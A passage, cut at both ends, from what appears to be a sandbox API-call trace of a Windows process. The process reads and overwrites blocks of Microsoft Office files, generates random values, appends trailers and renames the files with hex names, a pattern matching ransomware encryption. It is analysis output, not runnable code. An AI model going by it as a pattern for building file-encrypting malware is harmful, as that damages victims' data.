RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8597c0 [0090.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8597c0) returned 1 [0090.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.360] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.360] WriteFile (in: hFile=0xac0, lpBuffer=0x2011f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x2011f0f0*, lpNumberOfBytesWritten=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0098.400] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2011f0f0) returned 1 [0098.400] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.400] ReadFile (in: hFile=0xac0, lpBuffer=0x201100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x201100b0*, lpNumberOfBytesRead=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0099.226] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0099.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866ac0 [0099.226] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0099.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0099.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20184990 [0099.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0099.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202618b0 [0099.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202618b0) returned 1 [0099.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866ac0) returned 1 [0099.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0099.227] WriteFile (in: hFile=0xac0, lpBuffer=0x20184990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x20184990*, lpNumberOfBytesWritten=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0099.728] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20184990) returned 1 [0099.728] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0xfb5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.728] ReadFile (in: hFile=0xac0, lpBuffer=0x201100b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x201100b0*, lpNumberOfBytesRead=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0100.286] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0xfb5c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97440 [0100.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ac0 [0100.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262480) returned 1 [0100.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41c100b0 [0100.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202612b0 [0100.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263c20 [0100.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263c20) returned 1 [0100.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ac0) returned 1 [0100.815] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0100.815] WriteFile (in: hFile=0xac0, lpBuffer=0x41c100b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2737fc00, lpOverlapped=0x0 | out: lpBuffer=0x41c100b0*, lpNumberOfBytesWritten=0x2737fc00*=0x3c00, lpOverlapped=0x0) returned 1 [0160.887] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c100b0) returned 1 [0160.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1aa0 [0160.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202612b0) returned 1 [0160.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0160.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859970) returned 1 [0160.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201100b0) returned 1 [0160.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0160.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420595b0 [0160.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e810 [0160.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0160.889] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0160.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0160.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2720 [0160.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2780 [0160.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2780) returned 1 [0160.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e810) returned 1 [0160.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420595b0) returned 1 [0160.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x144) returned 0x1cebcac0 [0160.891] SetFilePointerEx (in: hFile=0xac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.891] WriteFile (in: hFile=0xac0, lpBuffer=0x1cebcac0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2737fcb0, lpOverlapped=0x0 | out: lpBuffer=0x1cebcac0*, lpNumberOfBytesWritten=0x2737fcb0*=0x144, lpOverlapped=0x0) returned 1 [0165.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0165.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.600] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0165.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a90) returned 1 [0165.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d1c0 [0165.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859a90 [0165.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859f40 [0165.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0165.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.602] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0165.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1b859f40 [0165.603] sprintf (in: _Dest=0x1b859f40, _Format="%c%c" | out: _Dest="6a") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f42, _Format="%c%c" | out: _Dest="60") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f44, _Format="%c%c" | out: _Dest="18") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f46, _Format="%c%c" | out: _Dest="f5") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f48, _Format="%c%c" | out: _Dest="b5") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f4a, _Format="%c%c" | out: _Dest="bd") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f4c, _Format="%c%c" | out: _Dest="2d") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f4e, _Format="%c%c" | out: _Dest="e9") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f50, _Format="%c%c" | out: _Dest="a0") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f52, _Format="%c%c" | out: _Dest="86") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f54, _Format="%c%c" | out: _Dest="25") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f56, _Format="%c%c" | out: _Dest="cd") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f58, _Format="%c%c" | out: _Dest="1e") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f5a, _Format="%c%c" | out: _Dest="65") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f5c, _Format="%c%c" | out: _Dest="10") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f5e, _Format="%c%c" | out: _Dest="ea") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f60, _Format="%c%c" | out: _Dest="94") returned 2 [0165.603] sprintf (in: _Dest=0x1b859f62, _Format="%c%c" | out: _Dest="04") returned 2 [0165.603] RtlInitAnsiString (in: DestinationString=0x2737fd28, SourceString="6a6018f5b5bd2de9a08625cd1e6510ea9404" | out: DestinationString="6a6018f5b5bd2de9a08625cd1e6510ea9404") [0165.603] RtlAnsiStringToUnicodeString (in: DestinationString=0x2737fcf8, SourceString="6a6018f5b5bd2de9a08625cd1e6510ea9404", AllocateDestinationString=1 | out: DestinationString="6a6018f5b5bd2de9a08625cd1e6510ea9404") returned 0x0 [0165.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1cd86a90 [0165.604] RtlFreeAnsiString (AnsiString="6") [0165.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859f40) returned 1 [0165.604] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859a90) returned 1 [0165.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebcac0) returned 1 [0165.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0165.605] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2720) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859970) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ac0) returned 1 [0165.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859940) returned 1 [0165.607] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859910) returned 1 [0165.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b869640 [0165.607] wcscat (in: _Dest=0x1b869640, _Source="6a6018f5b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b") returned="C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b" [0165.607] wcscat (in: _Dest=0x1b869640, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b.2f9b60" [0165.607] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b.2f9b60", NtPathName=0x2737fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\6a6018f5b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.607] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20506950 Thread: id = 402 os_tid = 0xf78 [0090.391] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml")) returned 0x20 [0091.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML", dwFileAttributes=0x20) returned 1 [0091.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IPIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\ipirmv.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd00 [0091.003] GetFileSizeEx (in: hFile=0xd00, lpFileSize=0x26f9fb40 | out: lpFileSize=0x26f9fb40*=79268) returned 1 [0091.003] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x135a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.003] ReadFile (in: hFile=0xd00, lpBuffer=0x26f9fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26f9fb08, lpOverlapped=0x0 | out: lpBuffer=0x26f9fac0*, lpNumberOfBytesRead=0x26f9fb08*=0x4, lpOverlapped=0x0) returned 1 [0091.025] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85abd0 [0091.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8596d0 [0091.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0091.025] NtQuerySystemTime (in: CurrentTime=0x26f9fa00 | out: CurrentTime=0x26f9fa00*=132462176968678000) returned 0x0 [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x6ba2f88a [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x4672302e [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x891db1b [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x1026ab2 [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x65a90b3b [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x24000ad0 [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x65be97dc [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x3184796e [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x48529f7a [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x196a62ce [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0xa22cdb4 [0091.025] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x35453e62 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x2c214679 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x238733e5 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x68753d82 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x5c41294a [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x47ed378b [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x158f3534 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x1721899e [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x4c46d7a7 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x5a1d358f [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x1693864a [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x7c65be64 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x60ed23c2 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x69a08e8c [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x377e9522 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x6e115d4b [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x77c85590 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x4c3dd55c [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x3f107cf3 [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x4538376d [0091.026] RtlRandomEx (in: Seed=0x26f9f9f0 | out: Seed=0x26f9f9f0) returned 0x394eabb1 [0091.033] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.033] ReadFile (in: hFile=0xd00, lpBuffer=0x20135950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x20135950*, lpNumberOfBytesRead=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0091.042] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8f0 [0091.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0091.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0091.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced70e0) returned 1 [0091.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x2013d170 [0091.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced70e0 [0091.043] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7170 [0091.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7170) returned 1 [0091.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0091.043] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8f0) returned 1 [0091.043] WriteFile (in: hFile=0xd00, lpBuffer=0x2013d170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x2013d170*, lpNumberOfBytesWritten=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0098.419] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2013d170) returned 1 [0098.419] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.420] ReadFile (in: hFile=0xd00, lpBuffer=0x20135950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x20135950*, lpNumberOfBytesRead=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0101.365] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0101.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0101.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0101.365] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6e00) returned 1 [0101.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c85a0 [0101.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6e00 [0101.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262420 [0101.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262420) returned 1 [0101.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0101.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0101.366] WriteFile (in: hFile=0xd00, lpBuffer=0x201c85a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesWritten=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.250] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0130.250] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xf9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.250] ReadFile (in: hFile=0xd00, lpBuffer=0x20135950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x20135950*, lpNumberOfBytesRead=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.251] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0xf9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0130.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202625a0) returned 1 [0130.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201c85a0 [0130.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202625a0 [0130.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263770 [0130.252] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263770) returned 1 [0130.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.253] WriteFile (in: hFile=0xd00, lpBuffer=0x201c85a0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x26f9fa60, lpOverlapped=0x0 | out: lpBuffer=0x201c85a0*, lpNumberOfBytesWritten=0x26f9fa60*=0x3c00, lpOverlapped=0x0) returned 1 [0130.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c85a0) returned 1 [0130.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1b80 [0130.254] SetFilePointerEx (in: hFile=0xd00, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0130.255] WriteFile (in: hFile=0xd00, lpBuffer=0x420600b0*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x26f9fb10, lpOverlapped=0x0 | out: lpBuffer=0x420600b0*, lpNumberOfBytesWritten=0x26f9fb10*=0x146, lpOverlapped=0x0) returned 1 [0130.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97120 [0130.256] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867ec0 [0130.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0130.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265ac0) returned 1 [0130.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0130.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265ac0 [0130.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265b20 [0130.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265b20) returned 1 [0130.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867ec0) returned 1 [0130.257] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0130.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f270 [0130.257] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="bc") returned 2 [0130.257] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="a9") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="c9") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="e8") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="0b") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="79") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="e5") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="3e") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="b6") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="8d") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="f8") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="78") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="f6") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="0a") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b9") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="aa") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="0b") returned 2 [0130.258] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="f9") returned 2 [0130.258] sprintf 